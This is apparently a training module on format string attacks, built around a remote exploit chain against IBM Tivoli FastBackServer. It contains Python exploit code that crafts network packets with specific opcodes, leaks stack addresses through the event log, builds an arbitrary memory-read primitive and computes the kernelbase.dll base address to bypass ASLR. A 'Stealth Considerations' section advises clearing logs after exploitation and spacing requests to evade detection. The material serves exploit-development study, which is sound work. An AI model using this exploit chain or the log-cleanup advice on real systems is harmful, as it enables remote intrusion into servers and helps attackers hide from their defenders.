Skip to content

Latest commit

 

History

History
891 lines (648 loc) · 30.3 KB

File metadata and controls

891 lines (648 loc) · 30.3 KB

Format String Specifier Attack Part I

Table of Contents

  1. Introduction
  2. Format String Attacks
  3. Attacking IBM Tivoli FastBackServer
  4. Reading the Event Log
  5. Bypassing ASLR with Format Strings
  6. Advanced Exploitation Techniques
  7. Conclusion

Introduction

Format string specifier vulnerabilities represent a different class of memory corruption bugs that can be exploited to bypass security mitigations like Address Space Layout Randomization (ASLR). Unlike traditional buffer overflows that overwrite large amounts of stack data, format string attacks leverage the format string functionality to create sophisticated read and write primitives for memory disclosure and manipulation.

This module demonstrates how to develop a read primitive using format string vulnerabilities to bypass ASLR by leaking memory addresses from application processes. The techniques covered require detailed reverse engineering and careful exploitation development but provide powerful capabilities for advanced exploitation scenarios.

Format String Attacks

Format String Theory

Format strings are a concept found in many programming languages that allow dynamic processing and presentation of content in strings. The concept consists of two main elements:

  1. Format String - Contains format specifiers that define how data should be formatted
  2. Format Function - Parses the format string and outputs the final formatted result

Common format string functions in C++ include:

  • printf - Prints formatted output to console
  • sprintf - Writes formatted output to a string buffer
  • vsnprintf - More complex version with additional safety features

Format String Syntax

Format specifiers follow this syntax pattern:

%[flags][width][.precision][size]type

Where:

  • % - Always starts with percent symbol
  • flags, width, precision, size - Optional formatting parameters
  • type - Mandatory specifier type

Common Format Specifiers

Type Argument Type Output Format
%x Integer Unsigned hexadecimal integer
%i Integer Unsigned decimal integer
%e Floating-point Scientific notation
%s String Character string up to null terminator
%n Pointer Number of characters written so far

Format String Example

printf("This is a value in hex %x and a string %s", 4660, "I love cats!");
// Output: This is a value in hex 1234 and a string I love cats!
graph TD
    A[Format String: "Value: %x String: %s"] --> B[printf Function]
    C[Arguments: 4660, "I love cats!"] --> B
    B --> D[Output: "Value: 1234 String: I love cats!"]
Loading

Exploiting Format String Specifiers

Format string vulnerabilities arise when the number of format specifiers exceeds the number of provided arguments. When this happens, the format function will read values from the stack that were not intended as arguments.

Vulnerable Code Example

#include "pch.h"
#include <iostream>
#include <Windows.h>

int main(int argc, char **argv)
{
    printf("This is your input: 0x%x, 0x%x, 0x%x, 0x%x\n", 65, 66, 67, 68);
    return 0;
}

This code correctly matches 4 format specifiers with 4 arguments, producing expected output.

Modified Vulnerable Version

#include "pch.h"
#include <iostream>
#include <Windows.h>

int main(int argc, char **argv)
{
    printf("This is your input: 0x%x, 0x%x, 0x%x, 0x%x\n", 65, 66);
    return 0;
}

With only 2 arguments provided for 4 format specifiers, the function will read additional values from the stack, potentially leaking sensitive information like memory addresses.

flowchart TD
    A[Format String with 4 specifiers] --> B{Arguments Provided?}
    B -->|2 Arguments| C[Read remaining 2 values from stack]
    B -->|4 Arguments| D[Normal execution]
    C --> E[Potential Memory Leak]
    D --> F[Expected Output]
Loading

Stack Leak Example Output

This is your input: 0x41, 0x42, 0x2e1922, 0x1afdc4

The last two highlighted values (0x2e1922, 0x1afdc4) come from the stack and could represent memory addresses that can be used to bypass ASLR.

Format String Vulnerability Analysis

When developing exploits, it's important to execute the vulnerable code multiple times to ensure consistency of leaked stack addresses. This helps verify that the vulnerability is reliable and exploitable.

Note: When developing an exploit, it is important to execute it multiple times to ensure the consistency of the stack address.

Attacking IBM Tivoli FastBackServer

Investigating the EventLog Function

The IBM Tivoli FastBackServer contains multiple format string vulnerabilities that can be exploited for ASLR bypass. Research reveals a vulnerable function called _EventLog that processes format strings in an unsafe manner.

Locating the Vulnerability

Using static analysis in IDA Pro, we can search for the _EventLog function and examine its implementation. The function contains a call to _ml_vsnprintf, which is an embedded implementation of the vsnprintf format string function.

graph LR
    A[_EventLog Function] --> B[_ml_vsnprintf Call]
    B --> C[__vsnprintf Implementation]
    C --> D[Format String Processing]
Loading

Function Prototype Analysis

int vsnprintf(
    char *s,           // Destination buffer
    size_t n,          // Maximum bytes to write (0x400)
    const char *format, // Format string (user-controlled)
    va_list arg        // Arguments array
);

The _EventLog function accepts dynamic arguments where:

  • Destination buffer - Fixed size buffer (0x400 bytes)
  • Format string - User-controlled input
  • Arguments - Array of values for format specifiers

The second argument labeled "Count" contains the static value 0x400, which limits the output size of any attack performed. The three remaining arguments are passed to _EventLog as dynamic values and may be under attacker control.

Reverse Engineering a Path

To trigger the _EventLog function remotely, we need to find a network-accessible code path. Through analysis of the FXCLI_OraBR_Exec_Command function, we can identify a path through AGI_S_GetAgentSignature that:

  1. Contains only one nested function call
  2. Uses a format string with a string specifier
  3. Can be triggered via network packet

The format string used in this path is:

"AGI_S_GetAgentSignature: couldn't find agent %s"

This format string contains a string format specifier (%s), which is required for us to generate an arbitrary string that can be used in subsequent format string functions.

Network Trigger Analysis

The opcode required to trigger AGI_S_GetAgentSignature is 0x604, discovered through reverse engineering the switch statement in FXCLI_OraBR_Exec_Command.

Proof of Concept Structure

import socket
import sys
from struct import pack

def main():
    if len(sys.argv) != 2:
        print("Usage: %s <ip_address>\n" % (sys.argv[0]))
        sys.exit(1)
    
    server = sys.argv[1]
    port = 11460
    
    # psAgentCommand
    buf = pack(">i", 0x400)
    buf += bytearray([0x41]*0xC)
    buf += pack("<i", 0x604)  # opcode
    buf += pack("<i", 0x0)    # 1st memcpy: offset
    buf += pack("<i", 0x100)  # 1st memcpy: size field
    buf += pack("<i", 0x100)  # 2nd memcpy: offset
    buf += pack("<i", 0x100)  # 2nd memcpy: size field
    buf += pack("<i", 0x200)  # 3rd memcpy: offset
    buf += pack("<i", 0x100)  # 3rd memcpy: size field
    buf += bytearray([0x41]*0x8)
    
    # psCommandBuffer
    buf += b"A" * 0x100
    buf += b"B" * 0x100
    buf += b"C" * 0x100
    
    # Padding
    buf += bytearray([0x41]*(0x404-len(buf)))
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buf)
    s.close()
    
    print("[+] Packet sent")

if __name__ == "__main__":
    main()

Invoke the Specifiers

To create a format string vulnerability, we need to provide format specifiers in the input that will be processed by _EventLog. The key is understanding how the format string is constructed and processed through multiple stages.

Creating Dynamic Format Strings

The vulnerability allows us to create format strings dynamically through a two-stage process:

  1. First _ml_vsnprintf call - Processes our input containing "%s" and creates a string with format specifiers
  2. Second _ml_vsnprintf call (in EventLog_wrapted) - Uses the output from the first call as a format string
sequenceDiagram
    participant Input as User Input
    participant First as First _ml_vsnprintf
    participant Second as Second _ml_vsnprintf  
    participant Output as Event Log
    
    Input->>First: "String with %s argument"
    First->>Second: "String with %x%x%x%x"
    Second->>Output: Formatted with stack values
Loading

Example Format String Creation

Before _ml_vsnprintf:
"This is my string: %s"

After _ml_vsnprintf:
"This is my string: %x%x%x%x"

If the formatted string following the call to _ml_vsnprintf is reused as a format string in a subsequent format string function, we can recreate the vulnerable condition observed in the initial printf example.

Example Exploitation

# psCommandBuffer - Modified to include format specifiers
buf += b"%x" * 0x80  # Create many hex format specifiers
buf += b"B" * 0x100
buf += b"C" * 0x100

When this payload is processed:

  1. The "%x" specifiers get copied into the format string
  2. EventLog_wrapted uses this string as a format string
  3. Multiple %x specifiers cause the format function to read values from the stack

Verification of Format String Attack

We can verify our attack by checking the output. The application should show format specifiers being inserted into the string:

"This is my string: %x%x%x%x%x%x%x%x"

This demonstrates that we can craft a format string with almost-arbitrary format string specifiers, limited only by the hardcoded 0x400 byte limit.

Reading the Event Log

The Tivoli Event Log

The IBM Tivoli FastBackServer maintains a custom event logging system that stores application events in files located at:

C:\ProgramData\Tivoli\TSM\FastBack\server\FAST_BACK_SERVER*.sf

Event Log Structure

The event log consists of multiple files with numerical suffixes (e.g., 040, 039, 038), where:

  • Higher numbers represent newer log files
  • Files have a maximum size (approximately 2.56 MB) before rotation occurs
  • New entries are always added to the highest numbered file
  • When a file reaches maximum size, it's renamed with a lower number and a new file is created
graph TD
    A[FAST_BACK_SERVER040.sf<br/>Current Log] -->|Full| B[Rename to 039]
    B --> C[Create new 040]
    D[New Events] --> A
    E[Older Events] --> F[FAST_BACK_SERVER001.sf<br/>Oldest Log]
    G[File Rotation Process] --> H{Max Size Reached?}
    H -->|Yes| I[Rotate Files]
    H -->|No| J[Continue Writing]
Loading

Event Log File Listing Example

Directory of C:\ProgramData\Tivoli\TSM\FastBack\server

26/04/2020 19.21    2,560,003 FAST_BACK_SERVER030.sf
26/04/2020 20.25    2,560,003 FAST_BACK_SERVER031.sf  
27/04/2020 08.35    2,560,003 FAST_BACK_SERVER032.sf
27/04/2020 09.39    2,560,003 FAST_BACK_SERVER033.sf
...
27/04/2020 22.13      622,851 FAST_BACK_SERVER040.sf

The number of files with the same varies depending on the length of time FastBackServer has been installed on the system. All files with suffixes lower than 40 are the same size, indicating they've reached maximum capacity.

Remote Event Log Service

To read the event log remotely, we need to find a network-accessible function that can retrieve log contents. Analysis reveals the SFILE_ReadBlock function accessible through opcode 0x520.

Discovering the Read Functionality

By performing cross-references on the EventLOG_sSFILE global variable (which contains the event log file path), we can identify functions that interact with the event log. Two main usages are found in FXCLI_OraBR_Exec_Command:

  1. Log Reading - SFILE_ReadBlock function for retrieving log contents
  2. Log Erasing - Function for deleting log contents (showing "Event Log Erased")

Event Log Read Functionality

The read operation requires specific parameters processed through sscanf:

  • FileType: Set to 1 to specify event log type
  • Start: Index position in the log to begin reading
  • Length: Amount of data to read (gets left-shifted by 8 bits)

Network Protocol Structure

# psCommandBuffer for reading event log
buf += b"FileType: %d ,Start: %d, Length: %d" % (1, start_value, length_value)

The format string must match exactly what sscanf expects:

"FileType: %d ,Start: %d, Length: %d"

Triggering the Read Operation

To trigger the event log read, we need opcode 0x520. This is calculated from the switch statement analysis:

Required opcode = 0x518 + 8 = 0x520

The complete network packet structure:

# psAgentCommand  
buf = pack(">i", 0x400)
buf += bytearray([0x41]*0xC)
buf += pack("<i", 0x520)  # opcode for SFILE_ReadBlock
buf += pack("<i", 0x0)    # 1st memcpy: offset
buf += pack("<i", 0x100)  # 1st memcpy: size field
buf += pack("<i", 0x100)  # 2nd memcpy: offset  
buf += pack("<i", 0x100)  # 2nd memcpy: size field
buf += pack("<i", 0x200)  # 3rd memcpy: offset
buf += pack("<i", 0x100)  # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
buf += b"FileType: %d ,Start: %d, Length: %d" % (1, 0x100, 0x200)
buf += b"B" * 0x100
buf += b"C" * 0x100

Read From an Index

The event log reading system uses a sophisticated indexing mechanism to determine which log file to read from and the offset within that file.

Index Calculation Logic

The system maintains a cumulative index across all log files:

flowchart TD
    A[Start Value] --> B[Begin with Highest Suffix File]
    B --> C{Calculate File Size}
    C --> D[Convert Size to Index]
    D --> E[Subtract from Total Index]  
    E --> F{Start >= Current Index?}
    F -->|Yes| G[Read from Current File]
    F -->|No| H[Move to Next File]
    H --> I[Decrease File Suffix]
    I --> B
Loading

File Index Algorithm

The algorithm works through the following process:

  1. Start with Maximum Suffix - Begin with the highest numbered log file (e.g., 040)
  2. Calculate File Size - Get the size of the current log file using HANDLE_MGR_fstat
  3. Convert to Index - Convert file size to index units (divide by 256)
  4. Update Accumulator - Add current file index to running total
  5. Compare with Start - Check if Start value falls within current file range
  6. File Selection - If Start >= current file's starting index, read from this file
  7. Continue or Exit - Otherwise, move to next file (lower suffix number)

Index Calculation Example

Log File 040: Size 0xac603 → Index 0xac6
Log File 039: Size 0x271000 → Index 0x2710  
Log File 038: Size 0x271000 → Index 0x2710

Cumulative Index:
- File 040 starts at index 0
- File 039 starts at index 0xac6  
- File 038 starts at index 0xac6 + 0x2710 = 0x31d6

If Start value is 0x2000:

  • 0x2000 > 0xac6 (File 040 range)
  • 0x2000 < 0x31d6 (File 039 range)
  • Therefore, read from File 039 at offset (0x2000 - 0xac6)

Read From the Log

Once the correct log file and offset are determined, the system uses standard file I/O operations to retrieve the data:

  1. File Opening - ml_fopen opens the selected log file
  2. Position Setting - fseek sets the read position within the file
  3. Data Reading - fread retrieves the specified amount of data

Data Retrieval Process

sequenceDiagram
    participant Client as Remote Client
    participant Server as FastBackServer
    participant Index as Index Calculator
    participant FS as File System
    participant Log as Event Log File
    
    Client->>Server: Read Request (Start, Length)
    Server->>Index: Calculate File & Offset
    Index-->>Server: File: 039, Offset: 0x1000
    Server->>FS: Open FAST_BACK_SERVER039.sf
    FS-->>Server: File Handle
    Server->>FS: fseek(handle, 0x1000, SEEK_SET)
    Server->>FS: fread(buffer, 1, length, handle)  
    FS-->>Server: Log Content Data
    Server-->>Client: Return Data via TCP
Loading

File Operations Detail

The specific file operations performed are:

// Open the selected log file
FILE *handle = ml_fopen(filename, "rb");

// Seek to calculated position (Start value left-shifted by 8)  
fseek(handle, start_value << 8, SEEK_SET);

// Read requested amount (Length value left-shifted by 8)
fread(buffer, 1, length_value << 8, handle);

Both Start and Length values are left-shifted by 8 bits, effectively multiplying them by 256. This provides fine-grained control over reading positions within the large log files.

Return the Log Content

The retrieved log data is returned to the client through the same TCP connection used for the initial request. The response format includes:

  1. Size Header - First 4 bytes contain the total data size (big-endian)
  2. Log Content - Actual event log entries in plain text format
  3. TCP Streaming - Data may arrive in multiple packets due to size

Response Format Analysis

Response Structure:
[4 bytes: Size][Variable: Log Data]

Example:
0x00020000 followed by 131072 bytes of log content

Response Processing Code

def receive_log_data(socket):
    # Get size header (4 bytes)
    response_size = socket.recv(4) 
    size = int(response_size.hex(), 16)
    print(f"Expected log data size: {hex(size)} bytes")
    
    # Read all data in chunks
    data_received = 0
    event_data = b""
    
    while data_received < size:
        remaining = size - data_received
        chunk = socket.recv(remaining)
        data_received += len(chunk)
        event_data += chunk
        
        if data_received == size:
            break
    
    print(f"Actual data received: {hex(data_received)} bytes")
    return event_data

Example Event Log Content

[Apr 22 00:10:04:998](15b4)->I4.GENERAL : |tOA | 0|200000|199000|199000| 0| 17496| 0.00| 0.17|PRIORITY|
[Apr 22 00:10:05:013](15b4)->I4.GENERAL : |------------------------------|------|------|------|------|-------|--------|--------|--------|--------| 
[Apr 22 00:10:05:013](15b4)->I4.GENERAL : |tFXC | 0|200000|199000|199000| 0| 17496| 0.00| 0.17|PRIORITY|

The event log entries follow a structured format with timestamps, process IDs, component names, and detailed logging information. Our format string attacks will create entries that can be parsed to extract leaked memory addresses.

Bypassing ASLR with Format Strings

Parsing the Event Log

To effectively use the format string vulnerability for ASLR bypass, we need to parse the returned event log data to extract useful memory addresses from the format string output.

Optimizing Read Parameters

Through systematic testing, the optimal parameters for reliable event log reading are:

  • Length: 0x1000 (4096 decimal) - Maximum reliable read size before errors occur
  • Start: Must be dynamically calculated to reach the end of current log

Length values larger than 0x1000 result in errors and require restarting the FastBackServer service to restore functionality.

Dynamic Start Value Discovery

The Start value must be calculated dynamically because:

  • Event logs continuously grow as the application runs
  • New entries are added between our reconnaissance and exploitation phases
  • Static values quickly become outdated
def find_optimal_start_value(server, port):
    start_value = 0x50000  # Start high for efficiency
    
    while True:
        # Test read with current start value
        buf = create_read_packet(start_value, 0x1000)
        
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(buf)
        
        response_size = s.recv(4)
        size = int(response_size.hex(), 16)
        s.close()
        
        print(f"Start value {hex(start_value)} yields data size {hex(size)}")
        
        if size < 0x100000:  # Found end of log
            # Adjust start value to point to end
            size_adjusted = size >> 8
            start_value += size_adjusted
            break
        
        start_value += 0x1000  # Continue searching
    
    print(f"Optimal start value: {hex(start_value)}")
    return start_value

Start Value Calculation Logic

The algorithm identifies three possible response sizes:

  1. 0x100000 - Haven't reached end of log yet, continue searching
  2. Between 0x1 and 0x100000 - Found end of log, calculate optimal position
  3. 0x1 - Start value is too large, indicates error condition
flowchart TD
    A[Test Start Value] --> B{Response Size}
    B -->|0x100000| C[Increment Start Value]
    B -->|0x1 to 0x100000| D[Found Log End]
    B -->|0x1| E[Start Value Too Large]
    C --> A
    D --> F[Calculate Optimal Position]
    E --> G[Error - Restart Required]
Loading

Leak Stack Address Remotely

Using the format string vulnerability discovered earlier, we can leak stack addresses by crafting payloads that cause the application to output memory contents to the event log.

Stack Leak Strategy Overview

graph TD
    A[Find Optimal Start Value] --> B[Send Format String Payload]
    B --> C[Trigger _EventLog Function] 
    C --> D[vsnprintf Processes Stack Values]
    D --> E[Formatted String with Stack Data]
    E --> F[Data Written to Event Log]
    F --> G[Read Event Log Remotely]
    G --> H[Parse Stack Address]
Loading

Creating Identifiable Format Strings

To locate our leaked data within the event log, we use a unique header that makes parsing straightforward:

# Create unique header for easy parsing
header = b"w00t:"  # Unique identifier
format_specifiers = b"%x:" * 0x80  # Multiple hex specifiers

# psCommandBuffer for stack leak
buf += header + format_specifiers  
buf += b"B" * 0x100
buf += b"C" * 0x100

The payload structure:

  • Unique Header (w00t:) - Easily identifiable string for parsing
  • Format Specifiers (%x: repeated) - Causes stack values to be read
  • Separator Colons - Makes individual values easy to extract

Stack Leak Execution

def leak_stack_address(socket, start_value):
    # Create format string payload
    buf = create_format_string_payload()
    socket.send(buf)
    
    # Receive response (must clear buffer)
    receive_all_data(socket) 
    
    # Read from event log
    log_data = read_event_log(socket, start_value)
    
    # Parse stack address
    return parse_stack_address(log_data)

Event Log Output Example

When the format string attack succeeds, the event log will contain entries like:

[May 03 16:01:49:475](174c)-->W8.AGI : AGI_S_GetAgentSignature: couldn't find agent w00t:c4:d93ded4:3a:25:12e:78:0:5f494741:65475f53:65674174:6953746e:74616e67:3a657275:756f6320:276e646c:69662074:6120646e:746e6567:30307720:78253a74:3a78253a:253a7825

The format string has been processed and stack values are now visible as hexadecimal values separated by colons.

Saving the Stack

When exploiting format string vulnerabilities remotely, it's crucial to maintain the same connection session to preserve the thread context and keep the leaked stack address valid.

Thread Context Preservation

sequenceDiagram
    participant Client as Exploit Client
    participant Server as FastBackServer  
    participant Thread as Handler Thread
    participant Stack as Thread Stack
    
    Client->>Server: TCP Connection
    Server->>Thread: Create Handler Thread
    Thread->>Stack: Allocate Thread Stack
    Client->>Thread: Format String Payload
    Thread->>Stack: Process on Thread Stack
    Stack-->>Thread: Stack Address Leaked
    Thread-->>Client: Log Data with Stack Address
    Note over Client,Stack: Same connection = Same thread = Same stack!
    Client->>Thread: Additional Requests
    Thread->>Stack: Same Stack Context
Loading

Connection Management Strategy

The key insight is that each TCP connection creates a new thread with its own stack. If we close the connection and reconnect, we get a different thread with a different stack, making our leaked address invalid.

def exploit_with_persistent_connection(server, port):
    # Single connection for entire exploit chain
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    
    try:
        # Phase 1: Find optimal start value
        start_value = find_start_value_same_connection(s)
        
        # Phase 2: Trigger stack leak  
        send_format_string_payload(s)
        clear_receive_buffer(s)  # Must clear response
        
        # Phase 3: Read leaked stack address
        leaked_stack = read_event_log(s, start_value)
        stack_addr = parse_stack_address(leaked_stack)
        
        # Phase 4: Use stack address for further exploitation
        # ... additional exploitation steps ...
        
        return stack_addr
        
    finally:
        s.close()  # Only close at very end

Buffer Management

When using persistent connections, it's essential to properly manage the TCP receive buffer:

def clear_receive_buffer(socket):
    """Clear any pending data from socket buffer"""
    # Get response size
    response_size = socket.recv(4)
    size = int(response_size.hex(), 16)
    
    # Read all response data
    total_received = 0
    while total_received < size:
        chunk = socket.recv(size - total_received)
        total_received += len(chunk)
        # Data is discarded - we only need to clear the buffer

Bypassing ASLR

With a leaked stack address, we can calculate the location of other important memory regions, particularly DLL base addresses that allow us to build ROP chains for code execution.

Stack Analysis for DLL Pointers

The Windows thread stack contains various return addresses and function pointers from system DLLs. By analyzing the stack at specific offsets from our leaked address, we can find pointers into critical system DLLs.

graph TD
    A[Leaked Stack Address<br/>0x1035ded4] --> B[Stack - 0x15C<br/>0x1035dd78]
    B --> C[kernelbase.dll Pointer<br/>0x745dc36a]
    C --> D[WaitForSingleObjectEx+0x13a]
    D --> E[Calculate Base Address<br/>0x745dc36a - 0x10c36a]
    E --> F[kernelbase.dll Base<br/>0x744d0000]
Loading

Reliable Pointer Selection

Through analysis of multiple exploit runs, we discover that certain stack locations contain stable pointers:

Stack Layout Analysis:
1035dd70  7720f11f  ntdll!RtlDeactivateActivationContextUnsafeFast+0x9f
1035dd74  1035dde0  [Stack Address]
1035dd78  745dc36a  KERNELBASE!WaitForSingleObjectEx+0x13a  ← Stable Target
1035dd7c  745dc2f9  KERNELBASE!WaitForSingleObjectEx+0xc9
1035dd80  00669360  FastBackServer!_beginthreadex+0x6b

The pointer at offset 0x15C below our leaked address consistently points to KERNELBASE!WaitForSingleObjectEx+0x13a, making it an ideal target for ASLR bypass.

Creating a String Read Primitive

To read arbitrary memory addresses, we can use the %s format specifier, which treats its argument as a pointer to a null-terminated string:

def create_read_primitive(target_address):
    # Create payload with target address embedded
    payload = b"w00t:BB" + pack("<i", target_address)
    payload += b"%x:" * 20  # Skip to position 21
    payload += b"%s"        # Read from target_address
    payload += b"%x" * 0x6b
    
    return payload

Complete ASLR Bypass

def bypass_aslr(server, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    
    try:
        # Phase 1: Find optimal start value
        start_value = find_optimal_start_value(s)
        
        # Phase 2: Leak stack address
        stack_addr = leak_stack_address(s, start_value)
        
        # Phase 3: Calculate target address for kernelbase pointer
        target_addr = stack_addr - 0x15C
        
        # Phase 4: Use string read primitive to leak kernelbase address
        kernelbase_ptr = read_memory_address(s, target_addr, start_value)
        
        # Phase 5: Calculate kernelbase base address
        kernelbase_base = kernelbase_ptr - 0x10C36A
        
        print(f"Successfully bypassed ASLR!")
        print(f"kernelbase.dll base: 0x{kernelbase_base:08x}")
        
        return kernelbase_base
        
    finally:
        s.close()

Memory Layout Understanding

graph TD
    A[Stack Address] -->|Offset -0x15C| B[kernelbase Pointer]
    B -->|Points to| C[WaitForSingleObjectEx+0x13a]
    C -->|Offset -0x10C36A| D[kernelbase.dll Base]
    D --> E[ROP Gadgets Available]
    D --> F[API Functions Available]
Loading

Advanced Exploitation Techniques

Error Handling and Reliability

Production exploits must handle various error conditions:

def robust_exploit(server, port, max_retries=3):
    for attempt in range(max_retries):
        try:
            return bypass_aslr(server, port)
        except Exception as e:
            print(f"Attempt {attempt + 1} failed: {e}")
            if attempt == max_retries - 1:
                raise
            time.sleep(1)

Stealth Considerations

The format string exploitation generates significant event log entries. For stealth operations:

  1. Log Cleanup - Use additional opcodes to clear event logs after exploitation
  2. Minimal Payloads - Reduce the number of format specifiers used
  3. Timing - Space out requests to avoid detection patterns

Combining with Memory Corruption

The ASLR bypass can be combined with memory corruption vulnerabilities:

flowchart TD
    A[Format String ASLR Bypass] --> B[Obtain DLL Base Addresses]
    B --> C[Build ROP Chain]
    C --> D[Trigger Buffer Overflow]
    D --> E[Execute ROP Chain]
    E --> F[Disable DEP]
    F --> G[Execute Shellcode]
Loading

Conclusion

Format string specifier attacks provide powerful capabilities for advanced exploitation scenarios. Key takeaways include:

  1. Read Primitives - Format strings can create sophisticated memory reading capabilities
  2. ASLR Bypass - Stack leaks can lead to full ASLR bypass through DLL base calculation
  3. Network Exploitation - Complex vulnerabilities can often be triggered remotely through careful reverse engineering
  4. Reliability - Production exploits require robust error handling and connection management